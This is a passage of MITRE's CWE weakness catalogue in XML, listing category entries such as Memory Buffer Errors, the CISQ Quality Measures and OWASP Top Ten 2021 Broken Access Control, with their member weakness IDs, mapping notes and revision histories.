         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-12-30</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1217" Name="User Session Errors" Status="Draft">
         <Summary>Weaknesses in this category are related to session management. Frequently these deal with the information or status about each user and their access rights for the duration of multiple requests. The weaknesses in this category could lead to a degradation of the quality of session management if they are not addressed.</Summary>
         <Relationships>
            <Has_Member CWE_ID="488" View_ID="699"/>
            <Has_Member CWE_ID="613" View_ID="699"/>
            <Has_Member CWE_ID="841" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-12-30</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1218" Name="Memory Buffer Errors" Status="Draft">
         <Summary>Weaknesses in this category are related to the handling of memory buffers within a software system.</Summary>
         <Relationships>
            <Has_Member CWE_ID="120" View_ID="699"/>
            <Has_Member CWE_ID="124" View_ID="699"/>
            <Has_Member CWE_ID="125" View_ID="699"/>
            <Has_Member CWE_ID="131" View_ID="699"/>
            <Has_Member CWE_ID="786" View_ID="699"/>
            <Has_Member CWE_ID="787" View_ID="699"/>
            <Has_Member CWE_ID="788" View_ID="699"/>
            <Has_Member CWE_ID="805" View_ID="699"/>
            <Has_Member CWE_ID="1284" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-12-30</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1219" Name="File Handling Issues" Status="Draft">
         <Summary>Weaknesses in this category are related to the handling of files within a software system. Files, directories, and folders are so central to information technology that many different weaknesses and variants have been discovered.</Summary>
         <Relationships>
            <Has_Member CWE_ID="22" View_ID="699"/>
            <Has_Member CWE_ID="41" View_ID="699"/>
            <Has_Member CWE_ID="59" View_ID="699"/>
            <Has_Member CWE_ID="66" View_ID="699"/>
            <Has_Member CWE_ID="378" View_ID="699"/>
            <Has_Member CWE_ID="379" View_ID="699"/>
            <Has_Member CWE_ID="426" View_ID="699"/>
            <Has_Member CWE_ID="427" View_ID="699"/>
            <Has_Member CWE_ID="428" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2020-02-14</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1225" Name="Documentation Issues" Status="Draft">
         <Summary>Weaknesses in this category are related to the documentation provided to support, create, or analyze a product.</Summary>
         <Relationships>
            <Has_Member CWE_ID="1053" View_ID="699"/>
            <Has_Member CWE_ID="1068" View_ID="699"/>
            <Has_Member CWE_ID="1110" View_ID="699"/>
            <Has_Member CWE_ID="1111" View_ID="699"/>
            <Has_Member CWE_ID="1112" View_ID="699"/>
            <Has_Member CWE_ID="1118" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2020-01-07</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1226" Name="Complexity Issues" Status="Draft">
         <Summary>Weaknesses in this category are associated with things being overly complex.</Summary>
         <Relationships>
            <Has_Member CWE_ID="1043" View_ID="699"/>
            <Has_Member CWE_ID="1047" View_ID="699"/>
            <Has_Member CWE_ID="1055" View_ID="699"/>
            <Has_Member CWE_ID="1056" View_ID="699"/>
            <Has_Member CWE_ID="1060" View_ID="699"/>
            <Has_Member CWE_ID="1064" View_ID="699"/>
            <Has_Member CWE_ID="1074" View_ID="699"/>
            <Has_Member CWE_ID="1075" View_ID="699"/>
            <Has_Member CWE_ID="1080" View_ID="699"/>
            <Has_Member CWE_ID="1086" View_ID="699"/>
            <Has_Member CWE_ID="1095" View_ID="699"/>
            <Has_Member CWE_ID="1119" View_ID="699"/>
            <Has_Member CWE_ID="1121" View_ID="699"/>
            <Has_Member CWE_ID="1122" View_ID="699"/>
            <Has_Member CWE_ID="1123" View_ID="699"/>
            <Has_Member CWE_ID="1124" View_ID="699"/>
            <Has_Member CWE_ID="1125" View_ID="699"/>
            <Has_Member CWE_ID="1333" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2020-01-07</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1227" Name="Encapsulation Issues" Status="Draft">
         <Summary>Weaknesses in this category are related to issues surrounding the bundling of data with the methods intended to operate on that data.</Summary>
         <Relationships>
            <Has_Member CWE_ID="1054" View_ID="699"/>
            <Has_Member CWE_ID="1057" View_ID="699"/>
            <Has_Member CWE_ID="1062" View_ID="699"/>
            <Has_Member CWE_ID="1083" View_ID="699"/>
            <Has_Member CWE_ID="1090" View_ID="699"/>
            <Has_Member CWE_ID="1100" View_ID="699"/>
            <Has_Member CWE_ID="1105" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2020-01-07</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1228" Name="API / Function Errors" Status="Draft">
         <Summary>Weaknesses in this category are related to the use of built-in functions or external APIs.</Summary>
         <Relationships>
            <Has_Member CWE_ID="242" View_ID="699"/>
            <Has_Member CWE_ID="474" View_ID="699"/>
            <Has_Member CWE_ID="475" View_ID="699"/>
            <Has_Member CWE_ID="477" View_ID="699"/>
            <Has_Member CWE_ID="676" View_ID="699"/>
            <Has_Member CWE_ID="695" View_ID="699"/>
            <Has_Member CWE_ID="749" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2020-01-07</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1237" Name="SFP Primary Cluster: Faulty Resource Release" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Faulty Resource Release cluster (SFP37).</Summary>
         <Relationships>
            <Has_Member CWE_ID="415" View_ID="888"/>
            <Has_Member CWE_ID="762" View_ID="888"/>
            <Has_Member CWE_ID="763" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Organization>KDM Analytics</Submission_Organization>
               <Submission_Date>2019-11-25</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1238" Name="SFP Primary Cluster: Failure to Release Memory" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Failure to Release Memory cluster (SFP38).</Summary>
         <Relationships>
            <Has_Member CWE_ID="401" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Organization>KDM Analytics</Submission_Organization>
               <Submission_Date>2019-11-25</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1306" Name="CISQ Quality Measures - Reliability" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the CISQ Quality Measures for Reliability. Presence of these weaknesses could reduce the reliability of the software.</Summary>
         <Relationships>
             <Has_Member CWE_ID="119" View_ID="1305"/>
             <Has_Member CWE_ID="170" View_ID="1305"/>
             <Has_Member CWE_ID="252" View_ID="1305"/>
             <Has_Member CWE_ID="390" View_ID="1305"/>
             <Has_Member CWE_ID="394" View_ID="1305"/>
             <Has_Member CWE_ID="404" View_ID="1305"/>
             <Has_Member CWE_ID="424" View_ID="1305"/>
             <Has_Member CWE_ID="459" View_ID="1305"/>
             <Has_Member CWE_ID="476" View_ID="1305"/>
             <Has_Member CWE_ID="480" View_ID="1305"/>
             <Has_Member CWE_ID="484" View_ID="1305"/>
             <Has_Member CWE_ID="562" View_ID="1305"/>
             <Has_Member CWE_ID="595" View_ID="1305"/>
             <Has_Member CWE_ID="662" View_ID="1305"/>
			 <Has_Member CWE_ID="665" View_ID="1305"/>
             <Has_Member CWE_ID="672" View_ID="1305"/>
             <Has_Member CWE_ID="681" View_ID="1305"/>
             <Has_Member CWE_ID="682" View_ID="1305"/>
             <Has_Member CWE_ID="703" View_ID="1305"/>
             <Has_Member CWE_ID="704" View_ID="1305"/>
             <Has_Member CWE_ID="758" View_ID="1305"/>
             <Has_Member CWE_ID="835" View_ID="1305"/>
             <Has_Member CWE_ID="908" View_ID="1305"/>
             <Has_Member CWE_ID="1045" View_ID="1305"/>
             <Has_Member CWE_ID="1051" View_ID="1305"/>
             <Has_Member CWE_ID="1066" View_ID="1305"/>
             <Has_Member CWE_ID="1070" View_ID="1305"/>
             <Has_Member CWE_ID="1077" View_ID="1305"/>
             <Has_Member CWE_ID="1079" View_ID="1305"/>
             <Has_Member CWE_ID="1082" View_ID="1305"/>
             <Has_Member CWE_ID="1083" View_ID="1305"/>
             <Has_Member CWE_ID="1087" View_ID="1305"/>
             <Has_Member CWE_ID="1088" View_ID="1305"/>
             <Has_Member CWE_ID="1098" View_ID="1305"/>
         </Relationships>
         <References>
             <Reference External_Reference_ID="REF-1133"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
             <Submission>
                 <Submission_Name>CWE Content Team</Submission_Name>
                 <Submission_Organization>MITRE</Submission_Organization>
                 <Submission_Date>2020-08-18</Submission_Date>
             </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1307" Name="CISQ Quality Measures - Maintainability" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the CISQ Quality Measures for Maintainability. Presence of these weaknesses could reduce the maintainability of the software.</Summary>
         <Relationships>
             <Has_Member CWE_ID="407" View_ID="1305"/>
             <Has_Member CWE_ID="478" View_ID="1305"/>
             <Has_Member CWE_ID="480" View_ID="1305"/>
             <Has_Member CWE_ID="484" View_ID="1305"/>
             <Has_Member CWE_ID="561" View_ID="1305"/>
             <Has_Member CWE_ID="570" View_ID="1305"/>
             <Has_Member CWE_ID="571" View_ID="1305"/>
             <Has_Member CWE_ID="783" View_ID="1305"/>
             <Has_Member CWE_ID="1041" View_ID="1305"/>
             <Has_Member CWE_ID="1045" View_ID="1305"/>
             <Has_Member CWE_ID="1047" View_ID="1305"/>
             <Has_Member CWE_ID="1048" View_ID="1305"/>
             <Has_Member CWE_ID="1051" View_ID="1305"/>
             <Has_Member CWE_ID="1052" View_ID="1305"/>
             <Has_Member CWE_ID="1054" View_ID="1305"/>
             <Has_Member CWE_ID="1055" View_ID="1305"/>
             <Has_Member CWE_ID="1062" View_ID="1305"/>
             <Has_Member CWE_ID="1064" View_ID="1305"/>
             <Has_Member CWE_ID="1074" View_ID="1305"/>
             <Has_Member CWE_ID="1075" View_ID="1305"/>
             <Has_Member CWE_ID="1079" View_ID="1305"/>
             <Has_Member CWE_ID="1080" View_ID="1305"/>
             <Has_Member CWE_ID="1084" View_ID="1305"/>
             <Has_Member CWE_ID="1085" View_ID="1305"/>
             <Has_Member CWE_ID="1086" View_ID="1305"/>
             <Has_Member CWE_ID="1087" View_ID="1305"/>
             <Has_Member CWE_ID="1090" View_ID="1305"/>
             <Has_Member CWE_ID="1095" View_ID="1305"/>
         </Relationships>
         <References>
             <Reference External_Reference_ID="REF-1133"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
             <Submission>
                 <Submission_Name>CWE Content Team</Submission_Name>
                 <Submission_Organization>MITRE</Submission_Organization>
                 <Submission_Date>2020-08-18</Submission_Date>
             </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1308" Name="CISQ Quality Measures - Security" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the CISQ Quality Measures for Security. Presence of these weaknesses could reduce the security of the software.</Summary>
         <Relationships>
             <Has_Member CWE_ID="22" View_ID="1305"/>
             <Has_Member CWE_ID="77" View_ID="1305"/>
             <Has_Member CWE_ID="89" View_ID="1305"/>
             <Has_Member CWE_ID="90" View_ID="1305"/>
             <Has_Member CWE_ID="91" View_ID="1305"/>
             <Has_Member CWE_ID="99" View_ID="1305"/>
             <Has_Member CWE_ID="119" View_ID="1305"/>
             <Has_Member CWE_ID="129" View_ID="1305"/>
             <Has_Member CWE_ID="134" View_ID="1305"/>
             <Has_Member CWE_ID="252" View_ID="1305"/>
             <Has_Member CWE_ID="404" View_ID="1305"/>
             <Has_Member CWE_ID="424" View_ID="1305"/>
             <Has_Member CWE_ID="434" View_ID="1305"/>
             <Has_Member CWE_ID="477" View_ID="1305"/>
             <Has_Member CWE_ID="480" View_ID="1305"/>
             <Has_Member CWE_ID="502" View_ID="1305"/>
             <Has_Member CWE_ID="570" View_ID="1305"/>
             <Has_Member CWE_ID="571" View_ID="1305"/>
             <Has_Member CWE_ID="606" View_ID="1305"/>
             <Has_Member CWE_ID="611" View_ID="1305"/>
             <Has_Member CWE_ID="643" View_ID="1305"/>
             <Has_Member CWE_ID="652" View_ID="1305"/>
             <Has_Member CWE_ID="662" View_ID="1305"/>
             <Has_Member CWE_ID="665" View_ID="1305"/>
             <Has_Member CWE_ID="672" View_ID="1305"/>
             <Has_Member CWE_ID="681" View_ID="1305"/>
             <Has_Member CWE_ID="682" View_ID="1305"/>
             <Has_Member CWE_ID="732" View_ID="1305"/>
             <Has_Member CWE_ID="778" View_ID="1305"/>
             <Has_Member CWE_ID="783" View_ID="1305"/>
             <Has_Member CWE_ID="789" View_ID="1305"/>
             <Has_Member CWE_ID="79" View_ID="1305"/>
             <Has_Member CWE_ID="798" View_ID="1305"/>
             <Has_Member CWE_ID="835" View_ID="1305"/>
         </Relationships>
         <References>
             <Reference External_Reference_ID="REF-1133"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
             <Submission>
                 <Submission_Name>CWE Content Team</Submission_Name>
                 <Submission_Organization>MITRE</Submission_Organization>
                 <Submission_Date>2020-08-18</Submission_Date>
             </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1309" Name="CISQ Quality Measures - Efficiency" Status="Incomplete">
          <Summary>Weaknesses in this category are related to the CISQ Quality Measures for Efficiency. Presence of these weaknesses could reduce the efficiency of the software.</Summary>
         <Relationships>
             <Has_Member CWE_ID="404" View_ID="1305"/>
             <Has_Member CWE_ID="424" View_ID="1305"/>
             <Has_Member CWE_ID="1042" View_ID="1305"/>
             <Has_Member CWE_ID="1043" View_ID="1305"/>
             <Has_Member CWE_ID="1046" View_ID="1305"/>
             <Has_Member CWE_ID="1049" View_ID="1305"/>
             <Has_Member CWE_ID="1050" View_ID="1305"/>
             <Has_Member CWE_ID="1057" View_ID="1305"/>
             <Has_Member CWE_ID="1060" View_ID="1305"/>
             <Has_Member CWE_ID="1067" View_ID="1305"/>
             <Has_Member CWE_ID="1072" View_ID="1305"/>
             <Has_Member CWE_ID="1073" View_ID="1305"/>
             <Has_Member CWE_ID="1089" View_ID="1305"/>
             <Has_Member CWE_ID="1091" View_ID="1305"/>
             <Has_Member CWE_ID="1094" View_ID="1305"/>
         </Relationships>
         <References>
             <Reference External_Reference_ID="REF-1133"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
             <Submission>
                 <Submission_Name>CWE Content Team</Submission_Name>
                 <Submission_Organization>MITRE</Submission_Organization>
                 <Submission_Date>2020-08-18</Submission_Date>
             </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="133" Name="String Errors" Status="Draft">
         <Summary>Weaknesses in this category are related to the creation and modification of strings.</Summary>
         <Relationships>
            <Has_Member CWE_ID="134" View_ID="699"/>
            <Has_Member CWE_ID="135" View_ID="699"/>
            <Has_Member CWE_ID="480" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1345" Name="OWASP Top Ten 2021 Category A01:2021 - Broken Access Control" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the A01 category "Broken Access Control" in the OWASP Top Ten 2021.</Summary>
         <Relationships>
            <Has_Member CWE_ID="22" View_ID="1344"/>
            <Has_Member CWE_ID="23" View_ID="1344"/>
            <Has_Member CWE_ID="35" View_ID="1344"/>
            <Has_Member CWE_ID="59" View_ID="1344"/>
            <Has_Member CWE_ID="200" View_ID="1344"/>
            <Has_Member CWE_ID="201" View_ID="1344"/>
            <Has_Member CWE_ID="219" View_ID="1344"/>
            <Has_Member CWE_ID="264" View_ID="1344"/>
            <Has_Member CWE_ID="275" View_ID="1344"/>
            <Has_Member CWE_ID="276" View_ID="1344"/>
            <Has_Member CWE_ID="284" View_ID="1344"/>
            <Has_Member CWE_ID="285" View_ID="1344"/>
            <Has_Member CWE_ID="352" View_ID="1344"/>
            <Has_Member CWE_ID="359" View_ID="1344"/>
            <Has_Member CWE_ID="377" View_ID="1344"/>
            <Has_Member CWE_ID="402" View_ID="1344"/>
            <Has_Member CWE_ID="425" View_ID="1344"/>
            <Has_Member CWE_ID="441" View_ID="1344"/>
            <Has_Member CWE_ID="497" View_ID="1344"/>
            <Has_Member CWE_ID="538" View_ID="1344"/>
            <Has_Member CWE_ID="540" View_ID="1344"/>
            <Has_Member CWE_ID="548" View_ID="1344"/>
            <Has_Member CWE_ID="552" View_ID="1344"/>
            <Has_Member CWE_ID="566" View_ID="1344"/>
            <Has_Member CWE_ID="601" View_ID="1344"/>
            <Has_Member CWE_ID="639" View_ID="1344"/>
            <Has_Member CWE_ID="651" View_ID="1344"/>
            <Has_Member CWE_ID="668" View_ID="1344"/>
            <Has_Member CWE_ID="706" View_ID="1344"/>
            <Has_Member CWE_ID="862" View_ID="1344"/>
            <Has_Member CWE_ID="863" View_ID="1344"/>
            <Has_Member CWE_ID="913" View_ID="1344"/>
